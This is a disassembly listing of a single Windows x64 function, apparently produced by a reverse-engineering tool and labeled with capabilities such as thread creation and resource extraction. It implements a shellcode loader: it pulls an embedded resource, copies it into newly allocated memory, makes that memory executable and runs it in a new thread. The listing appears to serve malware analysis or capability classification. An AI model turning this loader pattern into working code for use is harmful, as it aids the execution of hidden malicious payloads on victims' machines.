Function at 0x14001128f
Capabilities:
Create thread
Extract resource via kernel32 functions

Disassembly:
jmp 0x140011a60
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e028]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x1400240a3]
call fcn.1400113a2
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
mov r8d, 0xa
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140011af9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____FindResourceW_Failed_With_Error:__d__n
call fcn.1400111a9
mov eax, 0xffffffff
jmp 0x140011d5a
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140011b2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____LoadResource_Failed_With_Error:__d__n
call fcn.1400111a9
mov eax, 0xffffffff
jmp 0x140011d5a
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x140011b61
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____LockResource_Failed_With_Error:__d__n
call fcn.1400111a9
mov eax, 0xffffffff
jmp 0x140011d5a
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov eax, eax
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x140011b98
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____SizeofResource_Failed_With_Error_:__d__n
call fcn.1400111a9
mov eax, 0xffffffff
jmp 0x140011d5a
mov rdx, qword [rbp + 0x48]
lea rcx, str._i__pPayloadAddress_var_:_0x_p__n
call fcn.1400111a9
mov rdx, qword [rbp + 0x68]
lea rcx, str._i__sPayloadSize_var:__ld__n
call fcn.1400111a9
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x68]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x140011bf2
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x88]
call fcn.1400111c7
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x88]
lea rcx, str.___Memory_Allocated_At_:_0x_p_Of_Size:__d__n
call fcn.1400111a9
mov rdx, qword [rbp + 0x88]
lea rcx, str._i__pTmpBuffer_var:_0x_p__n
call fcn.1400111a9
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.1400111a9
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rbp + 0x68]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x140011c6f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAlloc_failed._Error:__d_n
call fcn.1400111a9
mov eax, 0xffffffff
jmp 0x140011d5a
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0xa8]
call fcn.1400113de
mov dword [rbp + 0xc4], 0
lea r9, [rbp + 0xc4]
mov r8d, 0x20
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140011cd0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect_failed._Error:__d_n
call fcn.1400111a9
mov eax, 0xffffffff
jmp 0x140011d5a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0xa8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x140011d21
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_failed._Error:__d_n
call fcn.1400111a9
mov eax, 0xffffffff
jmp 0x140011d5a
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x88]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ad40]
call fcn.14001132f
mov rax, rdi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret